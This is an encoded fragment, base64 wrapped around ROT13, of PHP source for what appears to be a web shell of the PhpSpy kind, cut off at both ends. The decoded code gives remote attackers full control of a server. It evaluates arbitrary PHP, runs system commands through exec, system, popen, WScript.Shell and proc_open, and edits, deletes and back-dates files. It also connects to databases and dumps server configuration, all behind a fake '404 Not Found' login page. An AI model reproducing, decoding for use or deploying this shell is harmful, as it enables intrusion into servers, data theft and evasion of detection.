PidoZnJmdXJ5eScsJ2Z2bXInPT4xNSwnaW55aHInPT4kcHpxZnVyeXkpKTtjKCdIZm5lOicpO3pueHJmcnlycGcobmVlbmwoJ2FuenInPT4naGZyJywnYmNndmJhJz0+JGhmcnFvLCdmcnlycGdycSc9PiRoZnIpKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4nZmduZWcnLCdpbnlocic9PidQYmFycGduZScsJ2dsY3InPT4nZmhvenZnJywncHluZmYnPT4nb2cnKSk7YygnPC9jPicpO3NiZXpzYmJnKCk7DQp9cnlmcnZzICgkbnBndmJhID09ICdyaW55JykgeyRjdWNwYnFyID0gZ2V2eigkY3VjcGJxcik7dnMoJGN1Y3BicXIpe3ZzICghY2VydF96bmdwdSgnIzxcPyNmdicsICRjdWNwYnFyKSkgeyRjdWNwYnFyID0gIjw/Y3VjXGFcYXskY3VjcGJxcn1cYVxhPz4iO31yaW55KCI/Ii4iPiRjdWNwYnFyPD8iKTt9c2JlenVybnEobmVlbmwoJ2d2Z3lyJz0+J1J3cnBoZ25lIENVQycpKTt6bnhydXZxcignbnBndmJhJywncmlueScpO3pueHJncmtnKG5lZW5sKCdndmd5cic9PidSd3JwaGduZSBDVUMnLCdhbnpyJz0+J2N1Y3BicXInLCAnaW55aHInPT4kY3VjcGJxcikpO3NiZXpzYmJncmUoKTsNCn1yeWZydnMgKCRucGd2YmEgPT0gJ3JxdmdzdnlyJykge3ZzKHN2eXJfcmt2ZmdmKCRiY3N2eXIpKSB7JHNjPUBzYmNyYSgkYmNzdnlyLCdlJyk7JHBiYWdyYWdmPUBzZXJucSgkc2MsIHN2eXJmdm1yKCRiY3N2eXIpKTtAc3B5YmZyKCRzYyk7JHBiYWdyYWdmPXVnenlmY3Jwdm55cHVuZWYoJHBiYWdyYWdmKTt9c2JlenVybnEobmVlbmwoJ2d2Z3lyJz0+J1Blcm5lL1JxdmduZScpKTt6bnhydXZxcignbnBndmJhJywnc3Z5cicpO3pueHJ1dnFyKCdxdmUnLCRhYmpjbmd1KTt6bnhydmFjaGcobmVlbmwoJ2d2Z3lyJz0+J05lcHV2aWIgbnBnaG55ICh2emNiZWduZSknLCdhbnpyJz0+J3JxdmdzdnlyYW56cicsJ2lueWhyJz0+JGJjc3Z5ciwnYXJqeXZhcic9PjEpKTt6bnhyZ3JrZyhuZWVubCgnZ3ZneXInPT4nUGJhZ3JhdnFiJywnYW56cic9PidzdnlycGJhZ3JhZycsJ2lueWhyJz0+JHBiYWdyYWdmKSk7c2JlenNiYmdyZSgpO3Rib25weCgpOw0KfXJ5ZnJ2cyAoJG5wZ3ZiYSA9PSAnYXJqZ3Z6cicpIHskYmNzdnlyemd2enIgPSBAc3Z5cnpndnpyKCRiY3N2eXIpOyRwbnB1cnpiYWd1ID0gbmVlbmwoJ1JhcmViJz0+MSwnU3JvZXJlYic9PjIsJ1puZW1iJz0+MywnTm9ldnknPT40LCdabmxiJz0+NSwnV2hhdmInPT42LCdXaHl2Yic9PjcsJ050YmZnYic9PjgsJ0ZyY2d2cnpvZXInPT45LCdCcGdob2VyJz0+MTAsJ0FiaXZyem9lcic9PjExLCdRdnB2cnpvZXInPT4xMik7c2JlenVybnEobmVlbmwoJ2d2Z3lyJz0+J05lcHV2aWIgcHliYW5xYiBwYmEgc3JwdW4nKSk7em54cnV2cXIoJ25wZ3ZiYScsJ3N2eXInKTt6bnhydXZxcigncXZlJywkYWJqY25ndSk7em54cnZhY2hnKG5lZW5sKCdndmd5cic9PidOeWdyZW5lIG5lcHV2aWInLCdhbnpyJz0+J3BoZXN2eXInLCdpbnlocic9PiRiY3N2eXIsJ2Z2bXInPT4xMjAsJ2Fyanl2YXInPT4xKSk7em54cnZhY2hnKG5lZW5sKCdndmd5cic9PidFcnNyZXJhcHZuIChlaGduKScsJ2FuenInPT4nZ25lc3Z5cicsJ2Z2bXInPT4xMjAsJ2Fyanl2YXInPT4xKSk7c2JlenNiYmdyZSgpO3NiZXp1cm5xKG5lZW5sKCdndmd5cic9PidTcnB1biBaYnF2c3ZwbnFiJykpO3pueHJ1dnFyKCducGd2YmEnLCdzdnlyJyk7em54cnV2cXIoJ3F2ZScsJGFiamNuZ3UpO3pueHJ2YWNoZyhuZWVubCgnZ3ZneXInPT4nTmVwdXZpYiBucGdobnkgKGVoZ24pJywnYW56cic9PidwaGVzdnlyJywnaW55aHInPT4kYmNzdnlyLCdmdm1yJz0+MTIwLCdhcmp5dmFyJz0+MSkpO2MoJzxjPlZhZmdybnEgJmVuZGhiOycpO2MoJ04mIzY1NTMzO2I6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J2xybmUnLCdpbnlocic9PnFuZ3IoJ0wnLCRiY3N2eXJ6Z3Z6ciksJ2Z2bXInPT40KSk7YygnWnJmOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9Pid6YmFndScsJ2lueWhyJz0+cW5ncigneicsJGJjc3Z5cnpndnpyKSwnZnZtcic9PjIpKTtjKCdRJiM2NTUzMztuOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9PidxbmwnLCdpbnlocic9PnFuZ3IoJ3EnLCRiY3N2eXJ6Z3Z6ciksJ2Z2bXInPT4yKSk7YygnVWJlbjonKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4ndWJoZScsJ2lueWhyJz0+cW5ncignVScsJGJjc3Z5cnpndnpyKSwnZnZtcic9PjIpKTtjKCdadmFoZ2I6Jyk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J3p2YWhncicsJ2lueWhyJz0+cW5ncigndicsJGJjc3Z5cnpndnpyKSwnZnZtcic9PjIpKTtjKCdGcnRoYXFiOicpO3pueHJ2YWNoZyhuZWVubCgnYW56cic9PidmcnBiYXEnLCdpbnlocic9PnFuZ3IoJ2YnLCRiY3N2eXJ6Z3Z6ciksJ2Z2bXInPT4yKSk7YygnPC9jPicpO3NiZXpzYmJncmUoKTt0Ym9ucHgoKTsNCn1yeWZydnMgKCRucGd2YmEgPT0gJ2Z1cnl5Jykge3ZzIChWRl9KVkEgJiYgVkZfUEJaKSB7dnMoJGNlYnRlbnogJiYgJGNuZW56cmdyZSkgeyRmdXJ5eT0gYXJqIFBCWignRnVyeXkuTmNjeXZwbmd2YmEnKTskbiA9ICRmdXJ5eS0+RnVyeXlSa3JwaGdyKCRjZWJ0ZW56LCRjbmVuenJncmUpO3ooJ0NlYnRlbnogZWhhIHVuZiAnLighJG4gPyAnZmhwcHJmZicgOiAnc252eScpKTt9ISRjZWJ0ZW56ICYmICRjZWJ0ZW56ID0gJ3A6XGp2YXFiamZcZmxmZ3J6MzJccHpxLnJrcic7ISRjbmVuenJncmUgJiYgJGNuZW56cmdyZSA9ICcvcCBhcmcgZmduZWcgPiAnLkZOX0VCQkcuJ3lidC5na2cnO3NiZXp1cm5xKG5lZW5sKCdndmd5cic9PidSd3JwaGduZSBjZWJ0ZW56bicpKTt6bnhydXZxcignbnBndmJhJywnZnVyeXknKTt6bnhydmFjaGcobmVlbmwoJ2d2Z3lyJz0+J0NlYnRlbnonLCdhbnpyJz0+J2NlYnRlbnonLCdpbnlocic9PiRjZWJ0ZW56LCdhcmp5dmFyJz0+MSkpO2MoJzxjPicpO3pueHJ2YWNoZyhuZWVubCgnZ3ZneXInPT4nQ25lbnpyZ3JlJywnYW56cic9PidjbmVuenJncmUnLCdpbnlocic9PiRjbmVuenJncmUpKTt6bnhydmFjaGcobmVlbmwoJ2FuenInPT4nZmhvenZnJywncHluZmYnPT4nb2cnLCdnbGNyJz0+J2Zob3p2ZycsJ2lueWhyJz0+J1JrcnBoZ3InKSk7YygnPC9jPicpO3NiZXpzYmJnKCk7fXNiZXp1cm5xKG5lZW5sKCdndmd5cic9PidSd3JwaGduZSBwYnpuYXFiJykpO3pueHJ1dnFyKCducGd2YmEnLCdmdXJ5eScpO3ZzIChWRl9KVkEgJiYgVkZfUEJaKSB7JHJrcnBzaGFwcW8gPSBuZWVubCgnY3Vjc2hhcCc9PidjdWNzaGFwJywnamZwZXZjZyc9PidqZnBldmNnJywnY2VicF9iY3JhJz0+J2NlYnBfYmNyYScpO3pueHJmcnlycGcobmVlbmwoJ2d2Z3lyJz0+J0hmcjonLCdhbnpyJz0+J3JrcnBzaGFwJywnYmNndmJhJz0+JHJrcnBzaGFwcW8sJ2ZyeXJwZ3JxJz0+JHJrcnBzaGFwLCdhcmp5dmFyJz0+MSkpO31jKCc8Yz4nKTt6bnhydmFjaGcobmVlbmwoJ2d2Z3lyJz0+J1Biem5hcWInLCdhbnpyJz0+J3BienpuYXEnLCdpbnlocic9PnVnenlmY3Jwdm55cHVuZWYoJHBienpuYXEpKSk7em54cnZhY2hnKG5lZW5sKCdhbnpyJz0+J2Zob3p2ZycsJ3B5bmZmJz0+J29nJywnZ2xjcic9PidmaG96dmcnLCdpbnlocic9PidSd3JwaGduZScpKTtjKCc8L2M+Jyk7c2JlenNiYmcoKTt2cyAoJHBienpuYXEpIHtjKCc8dWUganZxZ3U9IjEwMCUiIGFiZnVucXIgLz48Y2VyPicpO3ZzICgkcmtycHNoYXA9PSdqZnBldmNnJyAmJiBWRl9KVkEgJiYgVkZfUEJaKSB7JGpmdSA9IGFyaiBQQlooJ0pGcGV2Y2cuZnVyeXknKTskcmtycCA9ICRqZnUtPnJrcnAoJ3B6cS5ya3IgL3AgJy4kcGJ6em5hcSk7JGZncWJoZyA9ICRya3JwLT5GZ3FCaGcoKTskZmdlYmhnY2hnID0gJGZncWJoZy0+RXJucU55eSgpO3JwdWIgJGZnZWJoZ2NoZzt9IHJ5ZnJ2cyAoJHJrcnBzaGFwPT0nY2VicF9iY3JhJyAmJiBWRl9KVkEgJiYgVkZfUEJaKSB7JHFyZnBldmNnYmVmY3JwID0gbmVlbmwoMCA9PiBuZWVubCgnY3ZjcicsICdlJyksIDEgPT4gbmVlbmwoJ2N2Y3InLCAnaicpLCAyID0+IG5lZW5sKCdjdmNyJywgJ2onKSk7JGNlYnByZmYgPSBjZWJwX2JjcmEoJF9GUkVJUkVbJ1BCWkZDUlAnXSwgJHFyZnBldmNnYmVmY3JwLCAkY3ZjcmYpO3ZzICh2Zl9lcmZiaGVwcigkY2VicHJmZikpIHtzamV2Z3IoJGN2Y3JmWzBdLCAkcGJ6em5hcS4iXGVcYSIpO3NqZXZncigkY3ZjcmZbMF0sICJya3ZnXGVcYSIpO3NweWJmcigkY3ZjcmZbMF0pO2p1dnlyICghc3JicygkY3ZjcmZbMV0pKSB7cnB1YiBzdHJnZigkY3ZjcmZbMV0sIDEwMjQpO31zcHliZnIoJGN2Y3JmWzFdKTtqdXZ5ciAoIXNyYnMoJGN2Y3JmWzJdKSkge3JwdWIgc3RyZ2YoJGN2Y3JmWzJdLCAxMDI0KTt9c3B5YmZyKCRjdmNyZlsyXSk7Y2VicF9weWJmcigkY2VicHJmZik7fX0gcnlmciB7cnB1Yihya3JwaGdyKCRwYnp6bmFxKSk7fWMoJzwvY2VyPicpO319cnlmcnZzICgkbnBndmJhID09ICdjdWNyYWknKSB7JGhjZnZtcj10cmdwc3QoJ3N2eXJfaGN5Ym5xZicpID8gdHJncHN0KCdoY3libnFfem5rX3N2eXJmdm1yJykgOiAnQWJnIG55eWJqcnEnOyRucXp2YXpudnk9dmZmcmcoJF9GUkVJUkVbJ0ZSRUlSRV9OUVpWQSddKSA/ICRfRlJFSVJFWydGUkVJUkVfTlFaVkEnXSA6IHRyZ3BzdCgnZnJhcXpudnlfc2VieicpOyEkcXZmX3NoYXAgJiYgJHF2Zl9zaGFwID0gJ0FiJzsJDQokdmFzYiA9IG5lZW5sKDEgPT4gbmVlbmwoJ1ViZW4gRnJlaXZxYmUnLHFuZ3IoJ0wvei9xIHU6djpmJywkZ3Z6cmZnbnpjKSksMiA9PiBuZWVubCgnUWJ6dmF2YiBGcmVpdnFiZScsJF9GUkVJUkVbJ0ZSRUlSRV9BTlpSJ10pLDMgPT4gbmVlbmwoJ1ZDIEZyZWl2cWJlJyx0cmd1YmZnb2xhbnpyKCRfRlJFSVJFWydGUkVJUkVfQU5aUiddKSksNCA9PiBuZWVubCgnQkYgRnJlaXZxYmUnLENVQ19CRiksNSA9PiBuZWVubCgnQkYgUHVuZWZyZyBGcmVpdnFiZScsJF9GUkVJUkVbJ1VHR0NfTlBQUkNHX1lOQVRITlRSJ10pLDYgPT4gbmVlbmwoJ0Zic2dqbmVyIEZyZWl2cWJlJywkX0ZSRUlSRVsnRlJFSVJFX0ZCU0dKTkVSJ10pLDcgPT4gbmVlbmwoJ0pybyBDYmVnJywkX0ZSRUlSRVsnRlJFSVJFX0NCRUcnXSksOCA9PiBuZWVubCgnWmJxYiBxciBDVUMnLGZnZWdiaGNjcmUoY3VjX2ZuY3ZfYW56cigpKSksOSA9PiBuZWVubCgnRWhnbiBGdXJ5eScsX19TVllSX18pLDEwID0+IG5lZW5sKCdDVUMgSXJlZnZiYScsQ1VDX0lSRUZWQkEpLDExID0+IG5lZW5sKCdDVUNWQVNCJywoVkZfQ1VDVkFTQiA/ICc8biB1ZXJzPSJ3bmluZnBldmNnOnRibnBndmJhKFwnY3VjdmFzYlwnKTsiPkxyZjwvbj4nIDogJ0FiJykpLDEyID0+IG5lZW5sKCdGbnNyIFpicXInLHRyZ3BzdCgnZm5zcl96YnFyJykpLDEzID0+IG5lZW5sKCdOcXp2YXZmZ2VuZ2JlJywkbnF6dmF6bnZ5KSwxNCA9PiBuZWVubCgnbnl5YmpfaGV5X3NiY3JhJyx0cmdwc3QoJ255eWJqX2hleV9zYmNyYScpKSwxNSA9PiBuZWVubCgncmFub3lyX3F5Jyx0cmdwc3QoJ3Jhbm95cl9xeScpKSwxNiA9PiBuZWVubCgncXZmY3lubF9yZWViZWYnLHRyZ3BzdCgncXZmY3lubF9yZWViZWYnKSksMTcgPT4gbmVlbmwoJ2VydHZmZ3JlX3R5Ym9ueWYnLHRyZ3BzdCgnZXJ0dmZncmVfdHlib255ZicpKSwxOCA9PiBuZWVubCgnem50dnBfZGhiZ3JmX3RjcCcsdHJncHN0KCd6bnR2cF9kaGJncmZfdGNwJykpLDE5ID0+IG5lZW5sKCd6cnpiZWxfeXZ6dmcnLHRyZ3BzdCgnenJ6YmVsX3l2enZnJykpLDIwID0+IG5lZW5sKCdjYmZnX3pua19mdm1yJyx0cmdwc3QoJ2NiZmdfem5rX2Z2bXInKSksMjEgPT4gbmVlbmwoJ2hjeWJucV96bmtfc3Z5cmZ2bXInLCRoY2Z2bXIpLDIyID0+IG5lZW5sKCd6bmtfcmtycGhndmJhX2d2enInLHRyZ3BzdCgnem5rX3JrcnBoZ3ZiYV9ndnpyJykuJyBmcnBiYXEoZiknKSwyMyA9PiBuZWVubCgncXZmbm95cl9zaGFwZ3ZiYWYnLCRxdmZfc2hhcCksKTt2cygkY3VjaW5lYW56cikge3ooJGN1Y2luZWFuenIgLicgOiAnLnRyZ3BzdCgkY3VjaW5lYW56cikpO31zYmV6dXJucShuZWVubCgnZ3ZneXInPT4nUmFnYmVhYiBmcmVpdnFiZScpKTt6bnhydXZxcignbnBndmJhJywnY3VjcmFpJyk7em54cnZhY2hnKG5lZW5sKCdndmd5cic9PidWYXRlcmZyIGhhIGNuZW56cmdlYiBDVUMocnc6em50dnBfZGhiZ3JmX3RjcCknLCdhbnpyJz0+J2N1Y2luZWFuenInLCdpbnlocic9PiRjdWNpbmVhbnpyLCdhcmp5dmFyJz0+MSkpO3NiZXpzYmJncmUoKTskdWMgPSBuZWVubCgwPT4gJ0ZyZWlyZScsIDE9PiAnQ1VDJyk7c2JlKCRuPTA7JG48MjskbisrKSB7YygnPHUyPicuJHVjWyRuXS4nICZlbmRoYjs8L3UyPicpO2MoJzxoeSBweW5mZj0idmFzYiI+Jyk7dnMgKCRuPT0wKSB7c2JlKCR2PTE7JHY8PTk7JHYrKykge2MoJzx5dj48aD4nLiR2YXNiWyR2XVswXS4nOjwvaD4nLiR2YXNiWyR2XVsxXS4nPC95dj4nKTt9fSByeWZydnMgKCRuID09IDEpIHtzYmUoJHY9MTA7JHY8PTIzOyR2KyspIHtjKCc8eXY+PGg+Jy4kdmFzYlskdl1bMF0uJzo8L2g+Jy4kdmFzYlskdl1bMV0uJzwveXY+Jyk7fX1jKCc8L2h5PicpO319cnlmciB7eignSGFxcnN2YXJxIE5wZ3ZiYScpOw0KfT8+DQo8L2dxPjwvZ2U+PC9nbm95cj4NCjxxdmkgZmdseXI9ImNucXF2YXQ6MTBjaztvYmVxcmUtb2JnZ2J6OjFjayBmYnl2cSAjc3NzO29iZXFyZS1nYmM6MWNrIGZieXZxICNxcXE7b25weHRlYmhhcTojcnJyOyI+DQo8ZmNuYSBmZ2x5cj0ic3libmc6ZXZ0dWc7Ij48P2N1YyBxcm9odHZhc2IoKTtib19yYXFfc3loZnUoKTs/PjwvZmNuYT48L3F2aT4NCjwvb2JxbD4NCjwvdWd6eT4NCjw/Y3VjDQpzaGFwZ3ZiYSB6KCR6ZnQpIHtycHViICc8cXZpIGZnbHlyPSJvbnB4dGViaGFxOiNzMXMxczE7b2JlcXJlOjFjayBmYnl2cSAjcXFxO2NucXF2YXQ6MTVjaztzYmFnOjE0Y2s7Z3JrZy1ueXZ0YTpwcmFncmU7c2JhZy1qcnZ0dWc6b2J5cTsiPic7cnB1YiAkemZ0O3JwdWIgJzwvcXZpPic7DQp9c2hhcGd2YmEgZnBiYnh2cigkeHJsLCAkaW55aHIsICR5dnNyID0gMCwgJGNlcnN2ayA9IDEpIHt0eWJvbnkgJG5xenZhLCAkZ3Z6cmZnbnpjLCAkX0ZSRUlSRTskeHJsID0gKCRjZXJzdmsgPyAkbnF6dmFbJ3BiYnh2cmNlciddIDogJycpLiR4cmw7JHl2c3IgPSAkeXZzciA/ICR5dnNyIDogJG5xenZhWydwYmJ4dnJ5dnNyJ107JGhmcmNiZWcgPSAkX0ZSRUlSRVsnRlJFSVJFX0NCRUcnXSA9PSA0NDMgPyAxIDogMDtmcmdwYmJ4dnIoJHhybCwgJGlueWhyLCAkZ3Z6cmZnbnpjKyR5dnNyLCAkbnF6dmFbJ3BiYnh2cmNuZ3UnXSwgJG5xenZhWydwYmJ4dnJxYnpudmEnXSwgJGhmcmNiZWcpOw0KfQ0Kc2hhcGd2YmEgemh5Z3YoJGFoeiwgJGNyZWNudHIsICRwaGVjbnRyLCAkZ25veXJhbnpyKSB7JHpoeWd2Y250ciA9ICcnO3ZzKCRhaHogPiAkY3JlY250cikgeyRjbnRyID0gMTA7JGJzc2ZyZyA9IDU7JGNudHJmID0gQHBydnkoJGFoeiAvICRjcmVjbnRyKTt2cygkY250ciA+ICRjbnRyZikgeyRzZWJ6ID0gMTskZ2IgPSAkY250cmY7fSByeWZyIHskc2VieiA9ICRwaGVjbnRyIC0gJGJzc2ZyZzskZ2IgPSAkcGhlY250ciArICRjbnRyIC0gJGJzc2ZyZyAtIDE7dnMoJHNlYnogPCAxKSB7JGdiID0gJHBoZWNudHIgKyAxIC0gJHNlYno7JHNlYnogPSAxO3ZzKCgkZ2IgLSAkc2VieikgPCAkY250ciAmJiAoJGdiIC0gJHNlYnopIDwgJGNudHJmKSB7JGdiID0gJGNudHI7fX0gcnlmcnZzKCRnYiA+ICRjbnRyZikgeyRzZWJ6ID0gJHBoZWNudHIgLSAkY250cmYgKyAkZ2I7JGdiID0gJGNudHJmO3ZzKCgkZ2IgLSAkc2VieikgPCAkY250ciAmJiAoJGdiIC0gJHNlYnopIDwgJGNudHJmKSB7JHNlYnogPSAkY250cmYgLSAkY250ciArIDE7fX19JHpoeWd2Y250ciA9ICgkcGhlY250ciAtICRic3NmcmcgPiAxICYmICRjbnRyZiA+ICRjbnRyID8gJzxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95cmFuenIuJ1wnLCBcJ1wnLCAxKTsiPkNldnpyZW48L24+ICcgOiAnJykuKCRwaGVjbnRyID4gMSA/ICc8biB1ZXJzPSJ3bmluZnBldmNnOmZyZ2dub3lyKFwnJy4kZ25veXJhbnpyLidcJywgXCdcJywgJy4oJHBoZWNudHIgLSAxKS4nKTsiPk5hZ3JldmJlPC9uPiAnIDogJycpO3NiZSgkdiA9ICRzZWJ6OyAkdiA8PSAkZ2I7ICR2KyspIHskemh5Z3ZjbnRyIC49ICR2ID09ICRwaGVjbnRyID8gJHYuJyAnIDogJzxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95cmFuenIuJ1wnLCBcJ1wnLCAnLiR2LicpOyI+WycuJHYuJ108L24+ICc7fSR6aHlndmNudHIgLj0gKCRwaGVjbnRyIDwgJGNudHJmID8gJzxuIHVlcnM9InduaW5mcGV2Y2c6ZnJnZ25veXIoXCcnLiRnbm95cmFuenIuJ1wnLCBcJ1wnLCAnLigkcGhlY250ciArIDEpLicpOyI+RnZ0aHZyYWdyPC9uPicgOiAnJykuKCRnYiA8ICRjbnRyZiA/ICcgPG4gdWVycz0id25pbmZwZXZjZzpmcmdnbm95cihcJycuJGdub3lyYW56ci4nXCcsIFwnXCcsICcuJGNudHJmLicpOyI+SHlndnpuPC9uPicgOiAnJyk7JHpoeWd2Y250ciA9ICR6aHlndmNudHIgPyAnPGM+Q250cmY6ICcuJHpoeWd2Y250ci4nPC9jPicgOiAnJzt9ZXJnaGVhICR6aHlndmNudHI7DQp9c2hhcGd2YmEgeWJ0dmFjbnRyKCkge3VybnFyZSgiRmduZ2hmOiA0MDQgQWJnIFNiaGFxIik7dXJucXJlKCJmZ25naGY6IDQwNCIpOz8+PHUxPkFiZyBTYmhhcTwvdTE+PGM+R3VyIGVyZGhyZmdycSBIRVkgam5mIGFiZyBzYmhhcSBiYSBndXZmIGZyZWlyZS48L2M+PHVlPjxucXFlcmZmPk5jbnB1ciBGcmVpcmUgbmcgPD89JF9GUkVJUkVbJ1VHR0NfVUJGRyddPz4gQ2JlZyA4MDwvbnFxZXJmZj48ZmdseXI+dmFjaGcge3puZXR2YTowO29ucHh0ZWJoYXEtcGJ5YmU6I3NzcztvYmVxcmU6MWNrIGZieXZxICNzc3M7IH08L2ZnbHlyPjxwcmFncmU+PHNiZXogenJndWJxPSJDQkZHIiBucGd2YmE9IiI+PGZjbmEgZmdseXI9InNiYWc6MTFjayBJcmVxbmFuOyI+PC9mY25hPjx2YWNoZyBhbnpyPSJjbmZmamJlcSIgZ2xjcj0iY25mZmpiZXEiIGZ2bXI9IjIwIj48dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJxYnZhdCIgaW55aHI9InlidHZhIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iIj48L3NiZXo+PC9wcmFncmU+PD9jdWMgcmt2Zzt9c2hhcGd2YmEgcmtycGhncigkcHNyKSB7JGVyZiA9ICcnO3ZzICgkcHNyKSB7dnMoc2hhcGd2YmFfcmt2ZmdmKCdya3JwJykpIHtAcmtycCgkcHNyLCRlcmYpOyRlcmYgPSB3YnZhKCJcYSIsJGVyZik7fSByeWZydnMoc2hhcGd2YmFfcmt2ZmdmKCdmdXJ5eV9ya3JwJykpIHskZXJmID0gQGZ1cnl5X3JrcnAoJHBzcik7fSByeWZydnMoc2hhcGd2YmFfcmt2ZmdmKCdmbGZncnonKSkge0Bib19mZ25lZygpO0BmbGZncnooJHBzcik7JGVyZiA9IEBib190cmdfcGJhZ3JhZ2YoKTtAYm9fcmFxX3B5cm5hKCk7fSByeWZydnMoc2hhcGd2YmFfcmt2ZmdmKCdjbmZmZ3VlaCcpKSB7QGJvX2ZnbmVnKCk7QGNuZmZndWVoKCRwc3IpOyRlcmYgPSBAYm9fdHJnX3BiYWdyYWdmKCk7QGJvX3JhcV9weXJuYSgpO30gcnlmcnZzKEB2Zl9lcmZiaGVwcigkcyA9IEBjYmNyYSgkcHNyLCJlIikpKSB7JGVyZiA9ICcnO2p1dnlyKCFAc3JicygkcykpIHskZXJmIC49IEBzZXJucSgkcywxMDI0KTt9QGNweWJmcigkcyk7fX1lcmdoZWEgJGVyZjsNCn1zaGFwZ3ZiYSBqdXZwdSgkY2UpIHskY25ndSA9IHJrcnBoZ3IoImp1dnB1ICRjZSIpO2VyZ2hlYSAoJGNuZ3UgPyAkY25ndSA6ICRjZSk7DQp9c2hhcGd2YmEgcHMoJHNhbnpyLCRncmtnKXt2cygkc2M9QHNiY3JhKCRzYW56ciwnaicpKSB7QHNjaGdmKCRzYyxAb25mcjY0X3FycGJxcigkZ3JrZykpO0BzcHliZnIoJHNjKTt9fXNoYXBndmJhIHF2ZWZ2bXIoJHF2ZSkgew0KJHF1ID0gQGJjcmFxdmUoJHF2ZSk7JGZ2bXIgPSAwO2p1dnlyKCRzdnlyID0gQGVybnFxdmUoJHF1KSkge3ZzICgkc3Z5ciAhPSAnLicgJiYgJHN2eXIgIT0gJy4uJykgeyRjbmd1ID0gJHF2ZS4nLycuJHN2eXI7dnMgKEB2Zl9xdmUoJGNuZ3UpKSB7JGZ2bXIgKz0gcXZlZnZtcigkY25ndSk7fSByeWZyIHskZnZtciArPSBAc3Z5cmZ2bXIoJGNuZ3UpO319fUBweWJmcnF2ZSgkcXUpO2VyZ2hlYSAkZnZtcjsNCn1zaGFwZ3ZiYSBxcm9odHZhc2IoKSB7dHlib255ICRmZ25lZ2d2enI7JHpndnpyID0gcmtjeWJxcignICcsIHp2cGViZ3Z6cigpKTskZ2JnbnlndnpyID0gYWh6b3JlX3NiZXpuZygoJHpndnpyWzFdICsgJHpndnpyWzBdIC0gJGZnbmVnZ3Z6ciksIDYpO3JwdWIgJ0NlYnByZm5xYiByYSAnLiRnYmdueWd2enIuJyBmcnRoYXFiKGYpJzsNCn1zaGFwZ3ZiYSB6bHFvcGJhYSgkcW91YmZnLCRxb2hmcmUsJHFvY25mZiwkcW9hbnpyPScnLCRwdW5lZnJnPScnLCRxb2NiZWc9JzMzMDYnKSB7dHlib255ICRwdW5lZnJncW87dnMoISR5dmF4ID0gQHpsZmR5X3BiYWFycGcoJHFvdWJmZy4nOicuJHFvY2JlZywgJHFvaGZyZSwgJHFvY25mZikpIHtjKCc8dTI+QWIgZnIgY2hxYiBwYmFycGduZSBuIFpsRkRZIGZyZWlyZTwvdTI+Jyk7cmt2Zzt9dnMoJHl2YXggJiYgJHFvYW56cikge3ZzICghQHpsZmR5X2ZyeXJwZ19xbygkcW9hbnpyLCAkeXZheCkpIHtjKCc8dTI+UW5nbm9uZnIgZnJ5cnBwdmJhbnFuIHBiYSByZWViZXJmPC91Mj4nKTtya3ZnO319dnMoJHl2YXggJiYgemxmZHlfdHJnX2ZyZWlyZV92YXNiKCkgPiAnNC4xJykge3ZzKHZhX25lZW5sKGZnZWdieWJqcmUoJHB1bmVmcmcpLCAkcHVuZWZyZ3FvKSkge2QoIkZSRyBwdW5lbnBncmVfZnJnX3BiYWFycGd2YmE9JHB1bmVmcmcsIHB1bmVucGdyZV9mcmdfZXJmaHlnZj0kcHVuZWZyZywgcHVuZW5wZ3JlX2ZyZ19weXZyYWc9b3ZhbmVsOyIsICR5dmF4KTt9fWVyZ2hlYSAkeXZheDsNCn1zaGFwZ3ZiYSB6ZnFvcGJhYSgkcW91YmZnLCRxb2hmcmUsJHFvY25mZiwkcW9hbnpyPScnKSB7dHlib255ICRueWVybnFsemZmZHk7QHZhdl9mcmcoJ3pmZmR5LnB1bmVmcmcnLCAnSEdTLTgnKTtAdmF2X2ZyZygnemZmZHkuZ3JrZ3l2enZnJywgMjE0NzQ4MzY0Nyk7QHZhdl9mcmcoJ3pmZmR5Lmdya2dmdm1yJywgMjE0NzQ4MzY0Nyk7JG55ZXJucWx6ZmZkeSA9IDE7dnMoISR5dmF4ID0gQHpmZmR5X3BiYWFycGcoJHFvdWJmZywgJHFvaGZyZSwgJHFvY25mZiwgc255ZnIpKSB7YygnPHUyPicuemZ6ZnQoKS4nPC91Mj4nKTskbnllcm5xbHpmZmR5ID0gMDtya3ZnO312cygkeXZheCAmJiAkcW9hbnpyKSB7dnMgKCFAemZmZHlfZnJ5cnBnX3FvKCRxb2FuenIsICR5dmF4KSkge2MoJzx1Mj4nLnpmemZ0KCkuJzwvdTI+Jyk7JG55ZXJucWx6ZmZkeSA9IDA7cmt2Zzt9fWVyZ2hlYSAkeXZheDsNCn1zaGFwZ3ZiYSBmX25lZW5sKCYkbmVlbmwpIHt2cyAodmZfbmVlbmwoJG5lZW5sKSkge3NiZXJucHUgKCRuZWVubCBuZiAkeCA9PiAkaSkgeyRuZWVubFskeF0gPSBmX25lZW5sKCRpKTt9fSByeWZyIHZzICh2Zl9mZ2V2YXQoJG5lZW5sKSkgeyRuZWVubCA9IGZnZXZjZnluZnVyZigkbmVlbmwpO31lcmdoZWEgJG5lZW5sOw0KfXNoYXBndmJhIHVnenlfcHlybmEoJHBiYWdyYWcpIHskcGJhZ3JhZyA9IHVnenlmY3Jwdm55cHVuZWYoJHBiYWdyYWcpOyRwYmFncmFnID0gZmdlX2VyY3lucHIoIlxhIiwgIjxvZSAvPiIsICRwYmFncmFnKTskcGJhZ3JhZyA9IGZnZV9lcmN5bnByKCIgIiwgIiZhb2ZjOyZhb2ZjOyIsICRwYmFncmFnKTskcGJhZ3JhZyA9IGZnZV9lcmN5bnByKCJcZyIsICImYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzsiLCAkcGJhZ3JhZyk7ZXJnaGVhICRwYmFncmFnOw0KfXNoYXBndmJhIHRyZ1B1emJxKCRzdnlyY25ndSl7ZXJnaGVhIGZob2ZnZShvbmZyX3BiYWlyZWcoQHN2eXJjcmV6Zigkc3Z5cmNuZ3UpLDEwLDgpLC00KTsNCn1zaGFwZ3ZiYSB0cmdDcmV6Zigkc3Z5cmNuZ3UpIHskemJxciA9I